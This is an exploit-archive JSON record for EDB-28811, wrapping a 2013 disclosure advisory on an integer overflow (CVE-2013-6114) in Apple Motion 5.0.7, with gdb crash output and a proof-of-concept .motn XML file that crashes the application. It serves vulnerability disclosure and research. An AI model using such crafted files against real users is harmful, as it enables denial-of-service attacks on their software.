{"exploit":{"id":"EDB-28811","name":"Apple Motion 5.0.7 - Integer Overflow","description":"Apple Motion 5.0.7 - Integer Overflow","cves":["CVE-2013-6114"],"author":"Jean Pascal Pereira","published":"2013-10-08","platform":"osx","type":"dos","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/28811","path":"exploits/osx/dos/28811.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-28811.txt","vulnerabilities":[{"id":"CVE-2013-6114","state":"PUBLISHED","title":null,"titleSource":null,"description":"Integer overflow in the OZDocument::parseElement function in Apple Motion 5.0.7 allows remote attackers to cause a denial of service (application crash) via a (1) large or (2) small value in the subview attribute of a viewer element in a .motn file.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2013-6114","cvss":{"version":"2.0","baseScore":5,"severity":"medium","vectorString":"AV:N/AC:L/Au:N/C:N/I:N/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2013-6114"},"updatedAt":"2024-08-06T17:29:43.053Z","retrievedAt":"2026-11-26T12:10:43.715Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-28811.png?v=2","url":"https://exploitbin.com/exploits/EDB-28811","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-28811/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-28811/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"Apple Motion Integer Overflow Vulnerability\n===========================================\n\nVendor: Apple (http://www.apple.com)\nSoftware: Motion 5.0.7\nTestcase verified on: OS X 10.8\n\nCredit: Jean Pascal Pereira <pereira@secbiz.de>\n\nDESCRIPTION\n===========\n\nAn integer overflow vulnerability has been identified in Apple Motion. The issue has been verified for Motion 5.0.7 (current release). Prior versions may also be affected.\n\nAn attacker has the possibility to provide a crafted .motn file containing a viewer element with a subview attribute. If the subview attribute is set to a very low or high integer value, the application crashes due an access violation.\n\nDebug message:\n\nProgram received signal EXC_BAD_ACCESS, Could not access memory.\nReason: KERN_INVALID_ADDRESS at address: 0x00000002dd6e0990\n0x0000000100858eb7 in OZDocument::parseElement ()\n\nThe crash is triggered in the function OZDocument::parseElement() at the following instruction:\n\n(gdb) x/i 0x0000000100858eb7\n0x100858eb7 <_ZN10OZDocument12parseElementER22PCSerializerReadStreamR15PCStreamElement+695>:  mov rsi, QWORD PTR [rbx+rax*8+0x98]\n\nThe value of rax is controlled by the attacker (in this case, the rax register contains the integer 989894991 which is provided in the PoC below).\n\n(gdb) p $rax\n$16 = 989894991\n\n(gdb) p/x $rbx+($rax*8)+0x98\n$1 = 0x2dd6e0990\n\nPROOF OF CONCEPT\n================\n\nCreate a .motn file with the following content:\n\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!DOCTYPE ozxmlscene>\n<ozml version=\"5.5\">\n<viewer subview=\"989894991\">\n</viewer>\n</ozml>\n\nDISCLOSURE TIMELINE\n===================\n2013/09/18: Vendor notified\n2013/10/07: Public disclosure","sha256":"160cdc59dd13d8231d0ec5c8aae575cdb0103e728f4c46cad89f9811c6015ea1","bytes":1651,"fetchedAt":"2026-11-26T12:10:37.788Z","encoding":"utf-8 (display only; download retains original bytes)"}